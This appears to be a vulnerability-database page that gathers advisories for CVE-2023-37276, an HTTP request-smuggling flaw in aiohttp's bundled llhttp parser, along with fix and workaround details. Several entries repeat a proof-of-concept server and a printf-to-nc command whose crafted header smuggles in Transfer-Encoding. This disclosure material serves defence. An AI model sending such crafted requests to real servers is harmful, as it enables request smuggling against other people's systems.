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bdu:2023-05462

2026-10-03T13:20:42.154529+00:00

bdu:2023-05462

BREW-airshare-CVE-2023-37276 — aiohttp.web.Application vulnerable to HTTP request smuggling via llhttp HTTP request parser

2026-10-03T13:20:42.154579+00:00

Affected: Homebrew: airshare

### Impact

aiohttp v3.8.4 and earlier are [bundled with llhttp v6.0.6](https://github.com/aio-libs/aiohttp/blob/v3.8.4/.gitmodules) which is vulnerable to CVE-2023-30589. The vulnerable code is used by aiohttp for its HTTP request parser when available which is the default case when installing from a wheel.

This vulnerability only affects users of aiohttp as an HTTP server (ie `aiohttp.Application`), you are not affected by this vulnerability if you are using aiohttp as an HTTP client library (ie `aiohttp.ClientSession`).

### Reproducer

```python from aiohttp import web

async def example(request: web.Request): headers = dict(request.headers) body = await request.content.read() return web.Response(text=f"headers: {headers} body: {body}")

app = web.Application() app.add_routes([web.post('/', example)]) web.run_app(app) ```

Sending a crafted HTTP request will cause the server to misinterpret one of the HTTP header values leading to HTTP request smuggling.

```console $ printf "POST / HTTP/1.1\r\nHost: localhost:8080\r\nX-Abc: \rxTransfer-Encoding: chunked\r\n\r\n1\r\nA\r\n0\r\n\r\n" \ | nc localhost 8080

Expected output: headers: {'Host': 'localhost:8080', 'X-Abc': '\rxTransfer-Encoding: chunked'} body: b''

Actual output (note that 'Transfer-Encoding: chunked' is an HTTP header now and body is treated differently) headers: {'Host': 'localhost:8080', 'X-Abc': '', 'Transfer-Encoding': 'chunked'} body: b'A' ```

### Patches

Upgrade to the latest version…

certfr-2024-avi-0145 — De multiples vulnérabilités ont été découvertes dans les produits IBM. Certaines d'entre el…

2026-10-03T13:20:42.154648+00:00

certfr-2024-avi-0145

EUVD-2026-196423

2026-10-03T13:20:42.154667+00:00

EUVD-2026-196423

fkie_cve-2023-37276

2026-10-03T13:20:42.154680+00:00

aiohttp is an asynchronous HTTP client/server framework for asyncio and Python. aiohttp v3.8.4 and earlier are bundled with llhttp v6.0.6. Vulnerable code is used by aiohttp for its HTTP request parser when available which is the default case when installing from a wheel. This vulnerability only affects users of aiohttp as an HTTP server (ie `aiohttp.Application`), you are not affected by this vulnerability if you are using aiohttp as an HTTP client library (ie `aiohttp.ClientSession`). Sending a crafted HTTP request will cause the server to misinterpret one of the HTTP header values leading to HTTP request smuggling. This issue has been addressed in version 3.8.5. Users are advised to upgrade. Users unable to upgrade can reinstall aiohttp using `AIOHTTP_NO_EXTENSIONS=1` as an environment variable to disable the llhttp HTTP request parser implementation. The pure Python implementation isn't vulnerable.

GHSA-45c4-8wx5-qw6w — aiohttp.web.Application vulnerable to HTTP request smuggling via llhttp HTTP request parser

2026-10-03T13:20:42.154709+00:00

Affected: PyPI: aiohttp

### Impact

### Reproducer

```python from aiohttp import web

async def example(request: web.Request): headers = dict(request.headers) body = await request.content.read() return web.Response(text=f"headers: {headers} body: {body}")

app = web.Application() app.add_routes([web.post('/', example)]) web.run_app(app) ```

Sending a crafted HTTP request will cause the server to misinterpret one of the HTTP header values leading to HTTP request smuggling.

```console $ printf "POST / HTTP/1.1\r\nHost: localhost:8080\r\nX-Abc: \rxTransfer-Encoding: chunked\r\n\r\n1\r\nA\r\n0\r\n\r\n" \ | nc localhost 8080

Expected output: headers: {'Host': 'localhost:8080', 'X-Abc': '\rxTransfer-Encoding: chunked'} body: b''

### Patches

Upgrade to the latest version…

gsd-2023-37276

2026-10-03T13:20:42.154753+00:00

gsd-2023-37276

PYSEC-2023-120 — aiohttp.web.Application vulnerable to HTTP request smuggling via llhttp HTTP request parser

2026-10-03T13:20:42.154766+00:00

Affected: PyPI: aiohttp

### Impact

### Reproducer

```python from aiohttp import web

async def example(request: web.Request): headers = dict(request.headers) body = await request.content.read() return web.Response(text=f"headers: {headers} body: {body}")

app = web.Application() app.add_routes([web.post('/', example)]) web.run_app(app) ```

Sending a crafted HTTP request will cause the server to misinterpret one of the HTTP header values leading to HTTP request smuggling.

```console $ printf "POST / HTTP/1.1\r\nHost: localhost:8080\r\nX-Abc: \rxTransfer-Encoding: chunked\r\n\r\n1\r\nA\r\n0\r\n\r\n" \ | nc localhost 8080

Expected output: headers: {'Host': 'localhost:8080', 'X-Abc': '\rxTransfer-Encoding: chunked'} body: b''

### Patches

Upgrade to the latest version…

RHSA-2024:1878 — Red Hat Security Advisory: RHUI 4.8 Release - Security Updates, Bug Fixes, and Enhancements

2026-10-03T13:20:42.154806+00:00

python-django: Potential regular expression denial of service vulnerability in EmailValidator/URLValidator python-aiohttp: HTTP request smuggling via llhttp HTTP request parser python-django: Potential denial of service vulnerability in ``django.utils.encoding.uri_to_iri()`` python-django: Denial-of-service possibility in django.utils.text.Truncator python-aiohttp: numerous issues in HTTP parser with header parsing aiohttp: HTTP request modification aiohttp: CRLF injection if user controls the HTTP method using aiohttp client python-cryptography: NULL-dereference when loading PKCS7 certificates jinja2: HTML attribute injection when passing user input as keys to xmlattr filter aiohttp: follow_symlinks directory traversal vulnerability python-ecdsa: vulnerable to the Minerva attack python-aiohttp: http request smuggling Django: denial-of-service in ``intcomma`` template filter python-django: Potential regular expression denial-of-service in django.utils.text.Truncator.words()

UBUNTU-CVE-2023-37276

2026-10-03T13:20:42.154851+00:00

Affected: Ubuntu:22.04:LTS: python-aiohttp

WID-SEC-W-2024-0949 — Red Hat Satellite: Mehrere Schwachstellen

2026-10-03T13:20:42.154876+00:00

Ein Angreifer kann mehrere Schwachstellen in Red Hat Satellite ausnutzen, um Sicherheitsmaßnahmen zu umgehen, einen Denial-of-Service-Zustand herbeizuführen, vertrauliche Informationen offenzulegen, Dateien zu manipulieren, HTTP-Request-Smuggling-Angriffe durchzuführen oder Phishing- und Cross-Site-Scripting (XSS)-Angriffe auszuführen.